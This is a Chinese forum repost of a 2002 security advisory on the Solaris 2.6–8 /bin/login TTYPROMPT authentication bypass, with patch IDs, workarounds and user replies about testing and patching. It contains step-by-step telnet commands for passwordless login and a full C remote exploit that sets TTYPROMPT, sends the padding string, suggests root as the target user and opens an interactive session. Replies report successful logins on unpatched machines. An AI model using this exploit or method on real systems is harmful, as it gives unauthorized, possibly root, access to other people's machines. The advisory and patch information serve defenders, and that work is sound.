[转帖]Sun Solaris /bin/login验证绕过漏洞,打补丁呀!!不然真

发表于:2007-06-09来源:作者:点击数: 标签:
SunSolaris/bin/login验证绕过漏洞 发布日期:2002-10-02 更新日期:2002-10-05 受影响系统: Sunlogin -SunSolaris8.0x86 -SunSolaris8.0SPARC -SunSolaris7.0SPARC -SunSolaris7.0 -SunSolaris2.6SPARC -SunSolaris2.6 描述: ---------------------------

Sun Solaris /bin/login验证绕过漏洞

发布日期:2002-10-02
更新日期:2002-10-05

受影响系统:
Sun login 
    - Sun Solaris 8.0 x86
    - Sun Solaris 8.0 SPARC
    - Sun Solaris 7.0 SPARC
    - Sun Solaris 7.0 
    - Sun Solaris 2.6 SPARC
    - Sun Solaris 2.6
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 5848

Solaris 2.6, 7, 和8的/bin/login存在一个漏洞,可以通过环境变量TTYPROMPT绕过验证。

远程攻击者只需在telnet里给环境变量TTYPROMPT简单定义成长度为6的字符串,然后连接上远程主机,再输入用户名,后面跟64个" c",最后加一个回车就可以以这个用户直接登陆到系统而不需要口令验证。如果系统允许root用户远程登陆,就可以直接得到root用户的控制权。

<*来源:Jonathan Stuart (jons@clearcase/" target="_blank" >ccpartnersltd.com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103357889303304&w=2
*>

测试方法:
--------------------------------------------------------------------------------
Jonathan Stuart ([email protected])提供了如下测试方法:

coma% telnet
telnet> environ define TTYPROMPT abcdef
telnet> o localhost

SunOS 5.8

bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
Last login: whenever
$ whoami
bin

lion([email protected]) 提供了如下测试程序:

/******************************************************************


Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit.

Tested for: 
SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc 
SunOS 5.7, 5.8 x86 

Code by lion
[email protected]

Welcome to HUC website http://www.cnhonker.com 


******************************************************************/ 

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>

#define BUFLEN 1024

char shellcode[]= "\x97\x97\x97\x97\x97\x97";

void usage(char *p)
{
   printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p);
   printf("       -u: login username (default: bin), try \"root\" \n";
   printf("       -p: port to use (default: 23)\n\n";

   printf("\n"
   exit(0);
}

void msg(char *msg)
{
    perror(msg);
    exit(errno);
}

u_int32_t get_ip(char *host)
{
    struct hostent *hp;
    
    if(!(hp = gethostbyname(host))){
        fprintf(stderr, "cannot resolve %s\n", host);
        return(0);
    }
    return(*(u_int32_t *)hp->h_addr_list[0]);
}

int get_socket(char *target, int port)
{
    int sock;
    u_int32_t ip;
    struct sockaddr_in sin;

    if(!(ip = get_ip(target)))
        return(0);
    
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = ip;
    
    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        msg("socket";
    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        msg("connect";
    return(sock);
}

void send_wont(int sock, int option)
{
    char buf[3], *ptr=buf;
    
    *ptr++ = IAC;
    *ptr++ = WONT;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write";
    return;
}

void send_will(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = WILL;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write";
    return;
}

void send_do(int sock, int option)
{
    char buf[3], *ptr=buf;

    *ptr++ = IAC;
    *ptr++ = DO;
    *ptr++ = (unsigned char)option;
    if(write(sock, buf, 3) < 0)
        msg("write";
    return;
}

void send_env(int sock, char *name, char *value)
{
    char buf[BUFLEN], *ptr = buf;
    
    *ptr++ = IAC;
    *ptr++ = SB;
    *ptr++ = TELOPT_NEW_ENVIRON;
    *ptr++ = TELQUAL_IS;
    *ptr++ = NEW_ENV_VAR;
    strncpy(ptr, name, BUFLEN-20);
    ptr += strlen(ptr);
    *ptr++ = NEW_ENV_VALUE;
    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
    ptr += strlen(ptr);
    *ptr++ = IAC;
    *ptr++ = SE;
    
    if(write(sock, buf, (ptr - buf)) < 0)
        msg("write";
    return;
}

void do_negotiate(int sock)
{
    send_wont(sock, TELOPT_TTYPE);
    send_wont(sock, TELOPT_NAWS);
    send_wont(sock, TELOPT_LFLOW);
    send_wont(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_XDISPLOC);
    send_will(sock, TELOPT_LFLOW);
    send_will(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_OLD_ENVIRON);
    send_will(sock, TELOPT_NEW_ENVIRON);
    send_will(sock, TELOPT_BINARY);
    send_env(sock, "TTYPROMPT", shellcode);
    return;
}

void write_attack_buf(int sock, char *user)
{
    char outbuf[128],*s_buf;
    int i, j;

    if(!(s_buf = (char *)calloc(BUFLEN*2, 1)))
        msg("malloc";

    strcpy(outbuf, user);
    for(i = 0; i < 65; i++)
    {
       strcat(outbuf, " c";
    }
    strcat(outbuf, "\n";
    
    printf("send to target:\n%s\n", outbuf);
    if(write(sock, outbuf, strlen(outbuf)) < 0)
        msg("write"
    


    /* -- 2 reads for reading the garbage which screws up term -- */
    if((j = read(sock, s_buf, BUFLEN)) < 0)
        msg("read";

    if((j = read(sock, s_buf, BUFLEN)) < 0)
        msg("read";
    free(s_buf);
    return;
}

int main(int argc, char **argv)
{
    int c, n, sockfd, port = 23;
    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
    char user[36], host[36];
    fd_set rset;

    printf("============================================================\n";
    printf("Solaris 5.6 7 8 telnetd Remote exploit\n";
    printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.7, 5.8 x86\n";
    printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n";

    if(argc <3)  usage(argv[0]);
    strcpy(user, "bin";
    while((c = getopt(argc, argv, "h:u:p:") != EOF){
        switch(c){
            case 'h':
                strncpy(host, optarg, 36);
                break;
            case 'u':
                strncpy(user,optarg, 36);
                break;
            case 'p':
                port = atoi(optarg);
                break;
        }
    }
    
    if(!(sockfd = get_socket(host, port)))
        exit(-1);

    do_negotiate(sockfd);

    n = read(sockfd, buf, sizeof(buf));

    write_attack_buf(sockfd,user);

    send_wont(sockfd, TELOPT_BINARY);

    sleep(1);
    read(sockfd, buf, sizeof(buf));

    write(sockfd, shellstr, strlen(shellstr));
    n = read(sockfd, buf, sizeof(buf));

    FD_ZERO(&rset);
    for(;;{
        FD_SET(0, &rset);
        FD_SET(sockfd, &rset);
        if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
            msg("select";
        
        if(FD_ISSET(sockfd, &rset)){
            bzero(buf, sizeof(buf));
            if((n = read(sockfd, buf, sizeof(buf))) < 0)
                msg("read";
            if(n == 0){
                printf("EOF\n";
                exit(0);
            }
            write(1, buf, n);
        }
        
        if(FD_ISSET(0, &rset)){
            bzero(buf, sizeof(buf));
            if((n = read(0, buf, sizeof(buf))) < 0)
                msg("read";
            if(n == 0)
                exit(0);
            write(sockfd, buf, n);
        }
    }
}

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 立刻停止telnet服务。
* 如果你无法禁用telnet服务,也可使用TCP wrapper、防火墙或包过滤技术禁止不可信IP对23/TCP端口(telnet)访问。

厂商补丁:

Sun
---
以下的补丁并没有经过Sun的确认,它们只是修复telnetd而没有修复/bin/login,所以即使打了该补丁,本地可能仍旧可以利用。

Solaris 8: 110668-03 
Solaris 8x86: 110669-03 

Solaris 7: 107475-04 
Solaris 7x86: 107476-04 

Solaris 2.6: 106049-04 
Solaris 2.6x86: 106050-04 

Solaris 2.5.1: 103640-40 
Solaris 2.5.1x86: 103641-40 

SPARC 

Solaris 2.5.1 106160-02 
Solaris 2.5.1x86 106161-02 

Solaris 2.6 105665-04 
Solaris 2.6x86 105666-04 

Solaris 7 112300-01 
Solaris 7x86 112301-01 

Solaris 8 111085-02 
Solaris 8x86 111086-02 

您可以使用下列链接来下载相应补丁:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=<补丁ID>&method=h
例如,对于代号为111085-02的补丁,您可以使用下列链接:
http://sunsolve.sun.com/pub-cgi/patchDownload.pl?target=111085&method=h


 mynix 回复于:2002-10-06 07:17:35
辛苦,谢了

 joy 回复于:2002-10-06 13:23:57
恐怖啊

 阿骁 回复于:2002-10-06 15:40:29
我试了一下,很轻易地就登陆系统了。真是厉害啊!
赶紧把系统都打上了补丁。

 hpmin 回复于:2002-10-06 19:36:19
我的补丁打到了2月份的,通过上述方法不能绕过密码验证!

 南非蜘蛛 回复于:2002-10-07 17:37:55
幸亏我从来不用telnet

 zhangrp 回复于:2002-10-07 18:26:39
那用什么?

 9pts 回复于:2002-10-08 08:32:39
谢谢!

 hmilyyu 回复于:2002-10-08 09:18:42
telnet这么厉害!

 段誉 回复于:2002-10-08 09:19:24
[quote][b]下面引用由[u]阿骁[/u]在 [i]2002/10/06 03:40pm[/i] 发表的内容:[/b]
我试了一下,很轻易地就登陆系统了。真是厉害啊!
赶紧把系统都打上了补丁。
[/quote]
你怎么测试的?我这里怎么不行啊?那个回车符如何输入?

 skip 回复于:2002-10-08 10:07:36
好像不起作用?

 sunuser 回复于:2002-10-08 10:35:17
[quote][b]下面引用由[u]skip[/u]在 [i]2002/10/08 10:07am[/i] 发表的内容:[/b]
好像不起作用?
[/quote]me too!


 coolbid 回复于:2002-10-08 10:45:04
好恐怖,怪不得我的机器经常被黑!

 starwang 回复于:2002-10-08 11:46:57
[quote][b]下面引用由[u]sunuser[/u]在 [i]2002/10/08 10:35am[/i] 发表的内容:[/b]
me too!
[/quote]
me too

 liluo 回复于:2002-10-08 12:32:58
我已经report这个问题给SUN了,tmd那些人竟然说有可能要几个月才能解决,怎么办啊,各位,我地系统全部透明了,只能用TCP_WAPPER了。

 维他命C 回复于:2002-10-08 13:40:30
我试了,不行呀

 liluo 回复于:2002-10-08 13:50:15
到底是tcp_wrapper不行还是那种方法不行,你是不是搞错了啊,我试了几十台机器全部crack
,伤啊,苦死了,我们那么多用户,呜呜。

 我是水 回复于:2002-10-08 14:35:24
你怎么试的?

 daemonix 回复于:2002-10-08 15:25:47
其它的telnet也是这样吗?win2k的telnet不行,都没有environ命令。

 daemonix 回复于:2002-10-08 15:27:23
他们自己留的后门。

 coreman 回复于:2002-10-08 17:42:57
please use the SSH

 z2000c 回复于:2002-10-08 21:51:46
真是多多感谢呀!

 z2000c 回复于:2002-10-08 21:57:26
我加上patch,对本地有效,这是一个login 's log buffer overflow错误,哎!

 阿骁 回复于:2002-10-08 22:29:01
[quote][b]下面引用由[u]段誉[/u]在 [i]2002/10/08 09:19am[/i] 发表的内容:[/b]
你怎么测试的?我这里怎么不行啊?那个回车符如何输入?
[/quote]

就是按文章上写的啊,回车符不用显示写出,直接敲键盘就可以。

 段誉 回复于:2002-10-08 23:51:20
[quote][b]下面引用由[u]阿骁[/u]在 [i]2002/10/08 10:29pm[/i] 发表的内容:[/b]
就是按文章上写的啊,回车符不用显示写出,直接敲键盘就可以。
[/quote]
不行啊,是不是可以把bin用户改成我的实际用户?如果可以的话,也是不行。不知道64个c的后面还要加什么东西啊,还是我的系统已经不存在这个漏洞了?搞不懂,可能我的系统是安全的吧,:),猜的,回去再试!

 我是水 回复于:2002-10-09 08:31:19
用户名后一个空格,接着跟64个c,每两个c中间加一个空格最后加回车

 skip 回复于:2002-10-09 09:10:37
[quote][b]下面引用由[u]我是水[/u]在 [i]2002/10/09 08:31am[/i] 发表的内容:[/b]
用户名后一个空格,接着跟64个c,每两个c中间加一个空格最后加回车
[/quote]

没用啊,还是提示要password。
是不是我的机器是安全的,呵呵!

 段誉 回复于:2002-10-09 09:17:58
请测试这个漏洞成功的人说说自己的系统环境:平台/版本/补丁/在console上开启一个终端窗口还是远程telnet就可以......等等,谢谢!

 lianyong 回复于:2002-10-09 09:45:49
[quote][b]下面引用由[u]我是水[/u]在 [i]2002/10/09 08:31am[/i] 发表的内容:[/b]
用户名后一个空格,接着跟64个c,每两个c中间加一个空格最后加回车
[/quote]
我的也进不去,呵呵~~
[root@mserver /root]# telnet
telnet> environ define TTYPROMPT abcdef
telnet> o 10.1.1.5
Trying 10.1.1.5...
Connected to 10.1.1.5.
Escape character is '^]'.


SunOS 5.8

lywang c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
Connection closed by foreign host.
[root@mserver /root]# 

  

 cdxzh 回复于:2002-10-09 09:57:59
下面的测试程序有什么用啊?我用用户名和64个c进入系统以后,得到的用户还不是root权限啊?

 cdxzh 回复于:2002-10-09 11:00:20
打了补丁以后本地也进入不了了。郁闷也。还有,测试程序是做什么用的呀?

 我是水 回复于:2002-10-09 11:01:51
to : lianyong 
我在打过补丁的sparc机器上试,和你的结果一样。
但在solaris for x86上试就可以了,我的telnet允许root,我按帖子里说的方法做,真的是root没有要password.

 ahu 回复于:2002-10-09 14:33:07
about above
test ok.


 lizhixue 回复于:2002-10-09 14:40:27
我两台装的是2002年02版的solaris就没有这个问题,以前版本都有这个问题,而且只要放开root登陆权限就可以用root登陆,这是个大后门。

 cdxzh 回复于:2002-10-09 14:56:17
 lianyong 的机器是打了补丁以后的结果。大家可以参照一下。

 lianyong 回复于:2002-10-09 16:07:25
[这个贴子最后由lianyong在 2002/10/09 04:20pm 编辑]

[quote][b]下面引用由[u]我是水[/u]在 [i]2002/10/09 11:01am[/i] 发表的内容:[/b]
to : lianyong 
我在打过补丁的sparc机器上试,和你的结果一样。
但在solaris for x86上试就可以了,我的telnet允许root,我按帖子里说的方法做,真的是root没有要password.
[/quote]
真是这样,我在一台 x86上试成功了:
[root@mserver /root]# telnet
telnet> environ define TTYPROMPT abcdef 
telnet> o 10.1.1.50
Trying 10.1.1.50...
Connected to 10.1.1.50.
Escape character is '^]'.


SunOS 5.8

lywang c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
Last login: Tue Oct  8 21:37:03 from 10.1.1.8
[lywang@Solaris:~]$showrev
Hostname: Solaris
Hostid: 27fc4368
Release: 5.8
Kernel architecture: i86pc
Application architecture: i386
Hardware provider: 
Domain: 
Kernel version: SunOS 5.8 Generic 108529-11 September 2001

[lywang@Solaris:~]$more /etc/release 
                       Solaris 8 10/01 s28x_u6wos_08a INTEL
           Copyright 2001 Sun Microsystems, Inc.  All Rights Reserved.
                           Assembled 13 September 2001
[lywang@Solaris:~]$


不成功的版本是
[lywang@SunE250:~]$showrev
Hostname: SunE250
Hostid: 80e6ddae
Release: 5.8
Kernel architecture: sun4u
Application architecture: sparc
Hardware provider: Sun_Microsystems
Domain: 
Kernel version: SunOS 5.8 Generic 108528-13 December 2001

[lywang@SunE250:~]$more /etc/release
                       Solaris 8 2/02 s28s_u7wos_08a SPARC
           Copyright 2002 Sun Microsystems, Inc.  All Rights Reserved.
                           Assembled 18 December 2001
[lywang@SunE250:~]$

  

 starwang 回复于:2002-10-12 14:30:09
果然!不过把PATCH打到2002年就行了

 kiner007 回复于:2002-10-12 15:02:58
我的一个sparc solaris 2.6就可以通过这个漏洞登陆

 starwang 回复于:2002-10-13 19:26:40
两台SOLARIS 7的,打了同样的补丁,一台好了,另一台仍然有漏洞,怎么办?

 starwang 回复于:2002-10-13 22:09:57
找到解决办法了,换个/usr/sbin/in.telnetd 文件就行了

 shimu 回复于:2002-10-15 14:28:33
真的有如此大漏洞,恐怖!
不过提供源文件有一个地方有一点小问题,要该一下,才能编译通过。

 sunmarmot 回复于:2002-10-15 15:14:47
在哪里有问题啊??写一下吧

 littletiger 回复于:2002-10-15 15:45:10
这个对我的 sparc 8 和 x86 7 都被拒绝了  可我没有到2002 的patch 啊  奇怪:( :)

 shimu 回复于:2002-10-15 20:18:08
必需在linux,或unix的telnet 其中源程序有中的定义错误。
编译一下就知道了!


 lq 回复于:2002-10-16 00:52:13
2。6大了补丁107336-01,本地和远程均不起作用。8没大补丁,本地和远程均起作用。

 shimu 回复于:2002-10-16 11:30:30
提供一个测试程序,需在unix,linux环境下运行。不过给过ftp吧

 mrs 回复于:2002-11-21 14:57:36
果然, 是个非常大的BUG


 shuofeng2000 回复于:2002-12-03 11:26:30
我打补丁却报如下信息:
“试图安装同已经安装的软件包具有相同的 结构和版本号的软件包.这次安装将会
覆盖这个已经安装的包. 

/111085-02/SUNWcsu/install/checkinstall: 111085-02/SUNWcsu/install/checkinstall: cannot open
pkgadd: 错误: 检查安装正文没有成功完成
Dryrun完成.
对系统没有做任何改动”

怎么办?急,急,急!!!!

 sunmarmot 回复于:2002-12-03 11:30:27
你的solairs版本已经够新了,不用打补丁了啊,你测试一下,这个bug还在不在啊

 shuofeng2000 回复于:2002-12-03 11:35:20
当然还在啊,所以我才着急呀。

 sunmarmot 回复于:2002-12-03 11:36:10
关了你的telnet,用ssh

 shuofeng2000 回复于:2002-12-03 11:55:13
ssh是什么?用man ssh什么也看不到。

 sunmarmot 回复于:2002-12-03 12:02:18
你到精华区飕飕SSH就什么都知道了

原文转自:http://www.ltesting.net